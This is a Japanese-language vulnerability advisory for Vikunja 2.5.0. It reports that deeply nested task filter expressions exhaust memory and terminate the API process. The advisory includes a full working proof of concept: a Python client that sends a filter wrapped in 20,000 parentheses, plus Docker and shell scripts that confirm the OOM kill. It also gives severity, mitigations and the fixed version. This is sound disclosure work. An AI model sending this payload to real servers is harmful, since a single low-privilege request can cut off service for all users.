Vikunja: 無制限のネストされたタスクフィルタ再帰により、APIプロセスの終了が可能になる
# 無制限のネストされたタスクフィルタ再帰により、APIプロセスの終了が可能になる
## 概要
認証されたタスクリストのAPIエンドポイントは、長さやネストの深さの制限なしにフィルタ式を受け入れます。このフィルタ式は事前に処理され、fexprを通じて再帰的に解析され、結果として得られる式ツリーも再帰的に変換されます。構文的に有効な、HTTPリクエストのサイズ制限を下回る深いネストの式でも、メモリを使い果たし、APIプロセスを停止させる可能性があります。
## 影響と影響範囲
- **種類:** リソース枯渇、再帰的パーサー
- **影響を受けるコンポーネント:** GET /api/v2/projects/{project}/tasks?filter=<ネストされた式>; 他の認証されたタスクコレクションのエンドポイントで、getTaskFiltersFromFilterStringを共有するもの
- **前提条件:** 低権限を持つ認証されたユーザーが、フィルタクエリパラメータに有効なタスク条件を含む文字列を、数千個の括弧で囲んで送信する。
- **検証済みのバージョン:** 2026年8月28日の`349cd5adbcc831ef08b08e6c9c6d627603c39606`
- **影響を受けるリリース範囲:** `= 2.5.0`; より広範囲な過去のバージョンについては未定であり、メンテナの確認を要する
単一の低権限を持つネットワークリクエストによって、APIプロセスが停止し、すべてのユーザーへのサービスが停止する可能性があります。
## 技術的な詳細
サーバーは、過剰な長さや深さを拒否することなく、無制限のフィルタ式を事前に処理し、再帰的に解析/トラバースします。
攻撃経路: 認証を行い、アクセス可能なプロジェクトのタスクコレクションをリクエストします。リクエストには、id = 1を含む文字列を20,000組の括弧で囲んで送信し、パーサーと式ツリーのメモリ使用量を増やし、プロセスが停止するまで続けます。
関連するコード:
- `pkg/models/task_collection_filter.go:240`
- `pkg/models/task_collection_filter.go:268`
- `pkg/models/task_collection_filter.go:274`
- `pkg/models/task_collection_filter.go:276`
- `pkg/models/task_collection_filter.go:295`
## 再現方法
この操作は、許可された、一時的な環境でのみ実行してください。完全で検証済みの最小限のファイルセットを以下に示します。これは、隔離されたターゲットを起動し、セキュリティに関わるトリガーを実行し、特定のターゲット/アプリケーションからの信号を検証し、利用可能なネガティブテストまたはコントロールを実行します。
`reproduction/Dockerfile` を作成します。
```text
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
# ターゲットのソースコードは、実行時に `/target-repo:ro` を通じてのみ提供されます。
# このイメージには、ビルドに必要な依存関係と再現のための補助ツールが含まれており、ソースコードのクローンではありません。
```
`reproduction/client.py` を作成します。
```python
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE = "http://target:3456"
def request(method, path, body=None, token=None, expected=None, timeout=30):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
```
```
def wait_ready():
for _ in range(240):
try:
if request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("ターゲットが準備完了になりませんでした")
def filter_path(project_id, depth):
expression = "(" * depth + "id = 1" + ")" * depth
path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
return path
def main():
wait_ready()
username, password = "PoC-filter-user", "PoC-password-123!"
request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
token = login["token"]
_, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)
started = time.monotonic()
request("GET", filter_path(project["id"], 1000), token=token, expected=200)
print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)
try:
status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
raise RuntimeError(f"攻撃が予期せずHTTP {status}を返しました")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
raise
```
`reproduction/prepare.sh`:
```sh
#!/usr/bin/env bash
set -euo pipefail
```
```
mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html
cd /work/repo
CGO_ENABLED=1 go build \
-tags osusergo \
-ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
-o /output/vikunja .
chmod 0755 /output/vikunja
if [[ -f /app/probe.go ]]; then
go build -o /output/probe /app/probe.go
chmod 0755 /output/probe
fi
```
`reproduction/run.sh` を作成します:
```sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"
cleanup() {
docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
```
mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] ターゲット ${TARGET_REF} のクローンと固定を行います。"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] ヘルパーイメージ ${IMAGE_TAG} を構築します。"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
--network "${NETWORK}" --network-alias target \
--memory 512m --memory-swap 512m --pids-limit 256 \
-v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
-e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
-e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
-e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
-e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
-e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
-e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
"${IMAGE_TAG}" /app/vikunja web >/dev/null
```
set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
[[ "${STATE}" != "false 0 true" ]] && break
sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_FILTER_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_FILTER_ATTACK_SENT depth=20000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
echo "[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination" >&2
exit 1
fi
echo "PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process"
```
`reproduction/frontend-placeholder.html` ファイルを作成します:
```html
<!doctype html><title>PoC backend reproduction placeholder</title>
```
これらのファイルが含まれるディレクトリから、次のコマンドを実行します:
```sh
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
```
**期待される結果:** サーバーのリクエストサイズ制限を下回る、権限の低いリクエストが、無制限のフィルタ処理によってAPIプロセスを終了させる。
**観察された結果:** デプス1,000のリクエストは14msでHTTP 200を返しました。120,044バイトのデプス20,000のリクエストは接続が切断され、DockerはOOMKilled=true、ExitCode=137を記録しました。実行中にPoC_FILTER_RECURSION=PASSが出力されました。
**検証と制御:** クライアントは通常のユーザーアカウントとプロジェクトを作成し、デプス1,000のルート制御がHTTP 200であることを確認し、デプス20,000のリクエストを送信します。ホストスクリプトは、攻撃マーカー、DockerのOOMKilled=true、およびExitCode=137のみを受け入れます。
観察された証拠:
- depth=1000 target_bytes=6044: HTTP 200
- depth=20000 target_bytes=120044: RemoteDisconnected
- ターゲットコンテナ: OOMKilled=true, ExitCode=137
- PoC_FILTER_RECURSION=PASS
## 推奨される対策
上記のような機密性の高い操作を行う前に、意図された認証、サイズ、カーディナリティ、再帰、またはライフサイクル境界を適用してください。問題が発生した場合は、安全側に回帰し、すべての終了パスで一部のリソースを解放し、脆弱性を再現し、ネガティブコントロールのテストケースを追加してください。
## 深刻度
**CVSS v4.0: 7.1 (High)** — ベクター: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
この評価は暫定的なものであり、メンテナによる確認を待っています。スコアは、2026年8月28日にFIRST CVSS v4.0のリファレンス実装を使用して再計算されました。
## 報告の背景と情報源
AIによる分析によってこの問題が明らかになりました。この動作は、隔離された環境で独立して再現および検証されました。
シドニー大学のセキュリティ研究チームによって報告されました。
- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)
- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)
- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)
- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)
- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)
ご質問や追加の検証情報、またはパッチ候補の検証については、喜んで対応いたします。
影響を受けるパッケージ:
- go code.vikunja.io/api: affected = 2.5.0, fixed in 2.6.0